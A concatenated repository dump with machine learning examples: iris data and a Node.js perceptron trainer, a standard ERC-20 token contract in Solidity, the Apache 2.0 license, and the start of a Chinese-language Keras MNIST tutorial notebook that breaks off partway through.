6.4,3.1,5.5,1.8,virginica 139 | 6.0,3.0,4.8,1.8,virginica 140 | 6.9,3.1,5.4,2.1,virginica 141 | 6.7,3.1,5.6,2.4,virginica 142 | 6.9,3.1,5.1,2.3,virginica 143 | 5.8,2.7,5.1,1.9,virginica 144 | 6.8,3.2,5.9,2.3,virginica 145 | 6.7,3.3,5.7,2.5,virginica 146 | 6.7,3.0,5.2,2.3,virginica 147 | 6.3,2.5,5.0,1.9,virginica 148 | 6.5,3.0,5.2,2.0,virginica 149 | 6.2,3.4,5.4,2.3,virginica 150 | 5.9,3.0,5.1,1.8,virginica 151 | -------------------------------------------------------------------------------- /sj-nn/network.json: -------------------------------------------------------------------------------- 1 | {"neurons":[{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.7468354430379747,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.37974683544303794,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.6455696202531644,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.22784810126582278,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-1.558110196910178,"old":-3.878451973228321,"activation":0.17391798872538208,"bias":12.766086257532947,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":2.7691454029067533,"old":4.625283262135736,"activation":0.9409855471465922,"bias":-9.546470549866036,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.612599631697057,"old":5.780180341247867,"activation":0.9963617211232295,"bias":3.3298902409574205,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.702158955501422,"old":5.93644510926295,"activation":0.9966723606946796,"bias":2.5852150173331383,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":2.4543740817762023,"old":3.0788635313153305,"activation":0.9208807311096627,"bias":-2.437678534719479,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":6.972278842089367,"old":7.831068796094836,"activation":0.9990633640860457,"bias":-4.800903075631054,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-19.45081669442816,"old":-20.79990843392614,"activation":3.569584273278499e-9,"bias":2.0882984443096135,"layer":"output","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-5.508432513508708,"old":-6.931589745907001,"activation":0.004036098469448626,"bias":-5.746802234780785,"layer":"output","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.4709977101576746,"old":7.007123995352509,"activation":0.9958105923108082,"bias":-4.855995783602578,"layer":"output","squash":"LOGISTIC"}],"connections":[{"from":"0","to":"4","weight":10.324106021971428,"gater":null},{"from":"0","to":"5","weight":-8.330253780444911,"gater":null},{"from":"0","to":"6","weight":2.2082383625989657,"gater":null},{"from":"0","to":"7","weight":1.9694816766334098,"gater":null},{"from":"0","to":"8","weight":-1.9468284664255875,"gater":null},{"from":"0","to":"9","weight":2.0830817937575636,"gater":null},{"from":"1","to":"4","weight":12.736553008928311,"gater":null},{"from":"1","to":"5","weight":-9.947186232113797,"gater":null},{"from":"1","to":"6","weight":1.8973591887736396,"gater":null},{"from":"1","to":"7","weight":0.8831342064836666,"gater":null},{"from":"1","to":"8","weight":-3.7948818304840284,"gater":null},{"from":"1","to":"9","weight":-6.3375985087397035,"gater":null},{"from":"2","to":"4","weight":-29.055185470508313,"gater":null},{"from":"2","to":"5","weight":24.918964938874343,"gater":null},{"from":"2","to":"6","weight":-0.08362697387955735,"gater":null},{"from":"2","to":"7","weight":1.763723347030858,"gater":null},{"from":"2","to":"8","weight":9.00260313162923,"gater":null},{"from":"2","to":"9","weight":17.022475195472218,"gater":null},{"from":"3","to":"4","weight":-35.61199480384706,"gater":null},{"from":"3","to":"5","weight":27.331500466451264,"gater":null},{"from":"3","to":"6","weight":-0.14487897334775143,"gater":null},{"from":"3","to":"7","weight":0.7552908500466395,"gater":null},{"from":"3","to":"8","weight":8.669373967983258,"gater":null},{"from":"3","to":"9","weight":7.175625886740289,"gater":null},{"from":"4","to":"10","weight":5.50991924484888,"gater":null},{"from":"4","to":"11","weight":6.238395186568892,"gater":null},{"from":"4","to":"12","weight":-6.055081486506721,"gater":null},{"from":"5","to":"10","weight":-5.552314689759186,"gater":null},{"from":"5","to":"11","weight":-9.007228005296916,"gater":null},{"from":"5","to":"12","weight":7.687910935420445,"gater":null},{"from":"6","to":"10","weight":2.004555927196302,"gater":null},{"from":"6","to":"11","weight":-5.59821452810392,"gater":null},{"from":"6","to":"12","weight":-4.537605289866172,"gater":null},{"from":"7","to":"10","weight":-0.3266819896996822,"gater":null},{"from":"7","to":"11","weight":-4.8719275008043565,"gater":null},{"from":"7","to":"12","weight":-2.186330662445878,"gater":null},{"from":"8","to":"10","weight":-6.3334617189251565,"gater":null},{"from":"8","to":"11","weight":-0.684635920544392,"gater":null},{"from":"8","to":"12","weight":6.492207815567106,"gater":null},{"from":"9","to":"10","weight":-13.124339088565122,"gater":null},{"from":"9","to":"11","weight":18.71062716862063,"gater":null},{"from":"9","to":"12","weight":4.8720338105946475,"gater":null}]} -------------------------------------------------------------------------------- /sj-nn/index.js: -------------------------------------------------------------------------------- 1 | var step = require('step'); 2 | var csv = require('csvtojson'); 3 | var fs = require('fs'); 4 | var NodeNeuralNetwork = require('node-neural-network'); 5 | var Neuron = NodeNeuralNetwork.Neuron, 6 | Layer = NodeNeuralNetwork.Layer, 7 | Network = NodeNeuralNetwork.Network, 8 | Trainer = NodeNeuralNetwork.Trainer, 9 | Architect = NodeNeuralNetwork.Architect; 10 | 11 | // start 12 | step( 13 | // function loadNetwork() { 14 | // fs.readFile('network.json', {encoding: 'utf-8'}, function(err, data){ 15 | // if (!err) { 16 | // var perceptron = Network.fromJSON(JSON.parse(data)); 17 | // var trainer = new Trainer(perceptron); 18 | // this(trainer, perceptron); 19 | // } else { 20 | // console.log(err); 21 | // } 22 | // }.bind(this)); 23 | // }, 24 | function initNN () { 25 | 26 | function Perceptron(input, hidden, output) 27 | { 28 | // create the layers 29 | var inputLayer = new Layer(input); 30 | var hiddenLayer = new Layer(hidden); 31 | var outputLayer = new Layer(output); 32 | 33 | // connect the layers 34 | inputLayer.project(hiddenLayer); 35 | hiddenLayer.project(outputLayer); 36 | 37 | // set the layers 38 | this.set({ 39 | input: inputLayer, 40 | hidden: [hiddenLayer], 41 | output: outputLayer 42 | }); 43 | } 44 | 45 | // extend the prototype chain 46 | Perceptron.prototype = new Network(); 47 | Perceptron.prototype.constructor = Perceptron; 48 | 49 | var perceptron = new Perceptron(4,6,3); 50 | var trainer = new Trainer(perceptron); 51 | this(trainer, perceptron); 52 | 53 | }, 54 | function loadCsv(trainer, perceptron) { 55 | var rows = []; 56 | csv({noheader:true}) 57 | .fromFile('iris.csv') 58 | .on('json', function (row) { 59 | rows.push(row); 60 | }).on('done',function () { 61 | this(trainer, perceptron, rows); 62 | }.bind(this)); 63 | }, 64 | function normalization(trainer, perceptron, rows) { 65 | // compute max feature 66 | var maxFeatureMap = [0, 0, 0, 0]; 67 | rows.map(function (row) { 68 | for (var i = 0; i < 4; i++) { 69 | maxFeatureMap[i] = (maxFeatureMap[i] < row.field1) ? row.field1 : maxFeatureMap[i]; 70 | } 71 | }); 72 | 73 | // normalization feature (0~1) 74 | var fixData = { 75 | 0: [], 76 | 1: [], 77 | 2: [] 78 | }; 79 | rows.map(function (row) { 80 | var type = row.field5 === 'setosa' ? 0 : row.field5 === 'versicolor' ? 1 : 2; 81 | fixData[type].push({ 82 | input: [ 83 | row.field1 / maxFeatureMap[0], 84 | row.field2 / maxFeatureMap[1], 85 | row.field3 / maxFeatureMap[2], 86 | row.field4 / maxFeatureMap[3] 87 | ], 88 | output: [ 89 | row.field5 === 'setosa' ? 1 : 0, 90 | row.field5 === 'versicolor' ? 1 : 0, 91 | row.field5 === 'virginica' ? 1 : 0 92 | ] 93 | }); 94 | }); 95 | 96 | // make train data and test data 97 | var reserved = 3; // reserved for test 98 | var trainData = []; 99 | var testData = []; 100 | for (var type in fixData) { 101 | for (var i = 0; i < fixData[type].length; i++) { 102 | if (i < fixData[type].length - reserved) { 103 | trainData.push(fixData[type][i]); 104 | } else { 105 | testData.push(fixData[type][i]); 106 | } 107 | 108 | } 109 | } 110 | 111 | this(trainer, perceptron, trainData, testData); 112 | }, 113 | function train(trainer, perceptron, trainData, testData) { 114 | var defaults = { 115 | iterations: 10000, 116 | log: false, 117 | shuffle: true, 118 | cost: Trainer.cost.MSE 119 | }; 120 | trainer.train(trainData, defaults); 121 | this(trainer, perceptron, trainData, testData); 122 | }, 123 | function test(trainer, perceptron, trainData, testData) { 124 | 125 | // test 126 | var hit = 0, miss = 0; 127 | 128 | for (var i = 0; i < testData.length; i++) { 129 | var result = perceptron.activate(testData[i].input); 130 | var prediction = 0; 131 | result.reduce(function(a, b, index) { 132 | prediction = a < b ? index : prediction; 133 | return Math.max(a, b); 134 | }); 135 | 136 | console.log(testData[i].output, result); 137 | 138 | if (prediction === testData[i].output.indexOf(1)) { 139 | hit++; 140 | } else { 141 | miss++; 142 | } 143 | } 144 | 145 | // report 146 | console.log('Accuracy: ' + (hit / (hit + miss) * 100)); 147 | this(perceptron); 148 | }, 149 | function saveNetwork(perceptron) { 150 | fs.writeFile('network.json', JSON.stringify(perceptron.toJSON()), function(err) { 151 | if (err) { 152 | return console.log(err); 153 | } 154 | console.log('The network was saved!'); 155 | }); 156 | } 157 | ); 158 | 159 | -------------------------------------------------------------------------------- /erc-20/ERC-20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.5.0; 2 | 3 | // ---------------------------------------------------------------------------- 4 | // Safe maths 5 | // ---------------------------------------------------------------------------- 6 | library SafeMath { 7 | function add(uint a, uint b) internal pure returns (uint c) { 8 | c = a + b; 9 | require(c >= a); 10 | } 11 | function sub(uint a, uint b) internal pure returns (uint c) { 12 | require(b <= a); 13 | c = a - b; 14 | } 15 | function mul(uint a, uint b) internal pure returns (uint c) { 16 | c = a * b; 17 | require(a == 0 || c / a == b); 18 | } 19 | function div(uint a, uint b) internal pure returns (uint c) { 20 | require(b > 0); 21 | c = a / b; 22 | } 23 | } 24 | 25 | 26 | // ---------------------------------------------------------------------------- 27 | // ERC Token Standard #20 Interface 28 | // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md 29 | // ---------------------------------------------------------------------------- 30 | contract ERC20Interface { 31 | function totalSupply() public view returns (uint); 32 | function balanceOf(address tokenOwner) public view returns (uint balance); 33 | function allowance(address tokenOwner, address spender) public view returns (uint remaining); 34 | function transfer(address to, uint tokens) public returns (bool success); 35 | function approve(address spender, uint tokens) public returns (bool success); 36 | function transferFrom(address from, address to, uint tokens) public returns (bool success); 37 | 38 | event Transfer(address indexed from, address indexed to, uint tokens); 39 | event Approval(address indexed tokenOwner, address indexed spender, uint tokens); 40 | } 41 | 42 | 43 | // ---------------------------------------------------------------------------- 44 | // Contract function to receive approval and execute function in one call 45 | // 46 | // Borrowed from MiniMeToken 47 | // ---------------------------------------------------------------------------- 48 | contract ApproveAndCallFallBack { 49 | function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; 50 | } 51 | 52 | 53 | // ---------------------------------------------------------------------------- 54 | // Owned contract 55 | // ---------------------------------------------------------------------------- 56 | contract Owned { 57 | address public owner; 58 | address public newOwner; 59 | 60 | event OwnershipTransferred(address indexed _from, address indexed _to); 61 | 62 | constructor() public { 63 | owner = msg.sender; 64 | } 65 | 66 | modifier onlyOwner { 67 | require(msg.sender == owner); 68 | _; 69 | } 70 | 71 | function transferOwnership(address _newOwner) public onlyOwner { 72 | newOwner = _newOwner; 73 | } 74 | function acceptOwnership() public { 75 | require(msg.sender == newOwner); 76 | emit OwnershipTransferred(owner, newOwner); 77 | owner = newOwner; 78 | newOwner = address(0); 79 | } 80 | } 81 | 82 | 83 | // ---------------------------------------------------------------------------- 84 | // ERC20 Token, with the addition of symbol, name and decimals and a 85 | // fixed supply 86 | // ---------------------------------------------------------------------------- 87 | contract AirToken is ERC20Interface, Owned { 88 | using SafeMath for uint; 89 | 90 | string public symbol; 91 | string public name; 92 | uint8 public decimals; 93 | uint _totalSupply; 94 | 95 | mapping(address => uint) balances; 96 | mapping(address => mapping(address => uint)) allowed; 97 | 98 | 99 | // ------------------------------------------------------------------------ 100 | // Constructor 101 | // ------------------------------------------------------------------------ 102 | constructor() public { 103 | symbol = "AirCoin"; 104 | name = "空氣幣"; 105 | decimals = 3; 106 | _totalSupply = 200000000 * 10**uint(decimals); 107 | balances[0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFF] = _totalSupply; 108 | emit Transfer(address(0), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, _totalSupply); 109 | } 110 | 111 | 112 | // ------------------------------------------------------------------------ 113 | // Total supply 114 | // ------------------------------------------------------------------------ 115 | function totalSupply() public view returns (uint) { 116 | return _totalSupply.sub(balances[address(0)]); 117 | } 118 | 119 | 120 | // ------------------------------------------------------------------------ 121 | // Get the token balance for account `tokenOwner` 122 | // ------------------------------------------------------------------------ 123 | function balanceOf(address tokenOwner) public view returns (uint balance) { 124 | return balances[tokenOwner]; 125 | } 126 | 127 | 128 | // ------------------------------------------------------------------------ 129 | // Transfer the balance from token owner's account to `to` account 130 | // - Owner's account must have sufficient balance to transfer 131 | // - 0 value transfers are allowed 132 | // ------------------------------------------------------------------------ 133 | function transfer(address to, uint tokens) public returns (bool success) { 134 | balances[msg.sender] = balances[msg.sender].sub(tokens); 135 | balances[to] = balances[to].add(tokens); 136 | emit Transfer(msg.sender, to, tokens); 137 | return true; 138 | } 139 | 140 | 141 | // ------------------------------------------------------------------------ 142 | // Token owner can approve for `spender` to transferFrom(...) `tokens` 143 | // from the token owner's account 144 | // 145 | // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md 146 | // recommends that there are no checks for the approval double-spend attack 147 | // as this should be implemented in user interfaces 148 | // ------------------------------------------------------------------------ 149 | function approve(address spender, uint tokens) public returns (bool success) { 150 | allowed[msg.sender][spender] = tokens; 151 | emit Approval(msg.sender, spender, tokens); 152 | return true; 153 | } 154 | 155 | 156 | // ------------------------------------------------------------------------ 157 | // Transfer `tokens` from the `from` account to the `to` account 158 | // 159 | // The calling account must already have sufficient tokens approve(...)-d 160 | // for spending from the `from` account and 161 | // - From account must have sufficient balance to transfer 162 | // - Spender must have sufficient allowance to transfer 163 | // - 0 value transfers are allowed 164 | // ------------------------------------------------------------------------ 165 | function transferFrom(address from, address to, uint tokens) public returns (bool success) { 166 | balances[from] = balances[from].sub(tokens); 167 | allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); 168 | balances[to] = balances[to].add(tokens); 169 | emit Transfer(from, to, tokens); 170 | return true; 171 | } 172 | 173 | 174 | // ------------------------------------------------------------------------ 175 | // Returns the amount of tokens approved by the owner that can be 176 | // transferred to the spender's account 177 | // ------------------------------------------------------------------------ 178 | function allowance(address tokenOwner, address spender) public view returns (uint remaining) { 179 | return allowed[tokenOwner][spender]; 180 | } 181 | 182 | 183 | // ------------------------------------------------------------------------ 184 | // Token owner can approve for `spender` to transferFrom(...) `tokens` 185 | // from the token owner's account. The `spender` contract function 186 | // `receiveApproval(...)` is then executed 187 | // ------------------------------------------------------------------------ 188 | function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { 189 | allowed[msg.sender][spender] = tokens; 190 | emit Approval(msg.sender, spender, tokens); 191 | ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); 192 | return true; 193 | } 194 | 195 | 196 | // ------------------------------------------------------------------------ 197 | // Don't accept ETH 198 | // ------------------------------------------------------------------------ 199 | function () external payable { 200 | revert(); 201 | } 202 | 203 | 204 | // ------------------------------------------------------------------------ 205 | // Owner can transfer out any accidentally sent ERC20 tokens 206 | // ------------------------------------------------------------------------ 207 | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { 208 | return ERC20Interface(tokenAddress).transfer(owner, tokens); 209 | } 210 | } 211 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. -------------------------------------------------------------------------------- /keras-ml/mnist-neural-network.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "nbformat": 4, 3 | "nbformat_minor": 0, 4 | "metadata": { 5 | "kernelspec": { 6 | "display_name": "Python 3", 7 | "language": "python", 8 | "name": "python3" 9 | }, 10 | "language_info": { 11 | "codemirror_mode": { 12 | "name": "ipython", 13 | "version": 3 14 | }, 15 | "file_extension": ".py", 16 | "mimetype": "text/x-python", 17 | "name": "python", 18 | "nbconvert_exporter": "python", 19 | "pygments_lexer": "ipython3", 20 | "version": "3.5.2" 21 | }, 22 | "colab": { 23 | "name": "1. Keras-MNIST NN.ipynb", 24 | "provenance": [], 25 | "collapsed_sections": [] 26 | }, 27 | "accelerator": "GPU" 28 | }, 29 | "cells": [ 30 | { 31 | "cell_type": "code", 32 | "metadata": { 33 | "id": "Wo_tIFcbsWsh", 34 | "colab_type": "code", 35 | "outputId": "9dfdde13-d89e-43be-9829-da01f8a247b0", 36 | "colab": { 37 | "base_uri": "https://localhost:8080/", 38 | "height": 51 39 | } 40 | }, 41 | "source": [ 42 | "import keras\n", 43 | "keras.__version__" 44 | ], 45 | "execution_count": 1, 46 | "outputs": [ 47 | { 48 | "output_type": "stream", 49 | "text": [ 50 | "Using TensorFlow backend.\n" 51 | ], 52 | "name": "stderr" 53 | }, 54 | { 55 | "output_type": "execute_result", 56 | "data": { 57 | "text/plain": [ 58 | "'2.3.1'" 59 | ] 60 | }, 61 | "metadata": { 62 | "tags": [] 63 | }, 64 | "execution_count": 1 65 | } 66 | ] 67 | }, 68 | { 69 | "cell_type": "markdown", 70 | "metadata": { 71 | "id": "ew4NYq9qsWsq", 72 | "colab_type": "text" 73 | }, 74 | "source": [ 75 | "# Python Keras MNIST 手寫辨識\n", 76 | "\n", 77 | "這是一個神經網路的範例,利用了 Python Keras 來訓練一個手寫辨識分類 Model。\n", 78 | "\n", 79 | "我們要的問題是將手寫數字的灰度圖像(28x28 Pixel)分類為 10 類(0至9)。使用的數據集是 MNIST 典數據集,它是由國家標準技術研究所(MNIST 的 NIST)在1980年代組裝而成的,包含 60,000 張訓練圖像和 10,000 張測試圖像。您可以將「解決」MNIST 視為深度學習的 \"Hello World\"。" 80 | ] 81 | }, 82 | { 83 | "cell_type": "markdown", 84 | "metadata": { 85 | "id": "IfEj-7_ruHYV", 86 | "colab_type": "text" 87 | }, 88 | "source": [ 89 | "由於 Keras 已經整理了一些經典的 Play Book Data,因此我們可以很快透過以下方式取得 MNIST 資料集" 90 | ] 91 | }, 92 | { 93 | "cell_type": "code", 94 | "metadata": { 95 | "id": "j2mnzx6dsWss", 96 | "colab_type": "code", 97 | "colab": { 98 | "base_uri": "https://localhost:8080/", 99 | "height": 51 100 | }, 101 | "outputId": "afde9790-c2c5-4098-f9c6-c0814920dbc3" 102 | }, 103 | "source": [ 104 | "from keras.datasets import mnist\n", 105 | "\n", 106 | "(train_images, train_labels), (test_images, test_labels) = mnist.load_data()" 107 | ], 108 | "execution_count": 2, 109 | "outputs": [ 110 | { 111 | "output_type": "stream", 112 | "text": [ 113 | "Downloading data from https://s3.amazonaws.com/img-datasets/mnist.npz\n", 114 | "11493376/11490434 [==============================] - 0s 0us/step\n" 115 | ], 116 | "name": "stdout" 117 | } 118 | ] 119 | }, 120 | { 121 | "cell_type": "markdown", 122 | "metadata": { 123 | "id": "4_1MlWirsWtB", 124 | "colab_type": "text" 125 | }, 126 | "source": [ 127 | "images 是用來訓練與測試的資料,label 則為每一筆影像資料對應的正確答案,每一張手寫圖片都是 28 x 28 的灰階 Bit Map" 128 | ] 129 | }, 130 | { 131 | "cell_type": "code", 132 | "metadata": { 133 | "id": "f2WYWTatsWtC", 134 | "colab_type": "code", 135 | "outputId": "794f4afd-597b-4713-addc-2e8bd4e8d10c", 136 | "colab": { 137 | "base_uri": "https://localhost:8080/", 138 | "height": 34 139 | } 140 | }, 141 | "source": [ 142 | "train_images.shape" 143 | ], 144 | "execution_count": 3, 145 | "outputs": [ 146 | { 147 | "output_type": "execute_result", 148 | "data": { 149 | "text/plain": [ 150 | "(60000, 28, 28)" 151 | ] 152 | }, 153 | "metadata": { 154 | "tags": [] 155 | }, 156 | "execution_count": 3 157 | } 158 | ] 159 | }, 160 | { 161 | "cell_type": "code", 162 | "metadata": { 163 | "id": "iHXYHenEsWtF", 164 | "colab_type": "code", 165 | "outputId": "79dc7519-9035-4a85-a1df-c14336cf1c1e", 166 | "colab": { 167 | "base_uri": "https://localhost:8080/", 168 | "height": 34 169 | } 170 | }, 171 | "source": [ 172 | "len(train_labels)" 173 | ], 174 | "execution_count": 4, 175 | "outputs": [ 176 | { 177 | "output_type": "execute_result", 178 | "data": { 179 | "text/plain": [ 180 | "60000" 181 | ] 182 | }, 183 | "metadata": { 184 | "tags": [] 185 | }, 186 | "execution_count": 4 187 | } 188 | ] 189 | }, 190 | { 191 | "cell_type": "code", 192 | "metadata": { 193 | "id": "h7uWisUlsWtI", 194 | "colab_type": "code", 195 | "outputId": "e47f7eab-93a3-4ae8-9509-fb44f092c86a", 196 | "colab": { 197 | "base_uri": "https://localhost:8080/", 198 | "height": 34 199 | } 200 | }, 201 | "source": [ 202 | "train_labels" 203 | ], 204 | "execution_count": 5, 205 | "outputs": [ 206 | { 207 | "output_type": "execute_result", 208 | "data": { 209 | "text/plain": [ 210 | "array([5, 0, 4, ..., 5, 6, 8], dtype=uint8)" 211 | ] 212 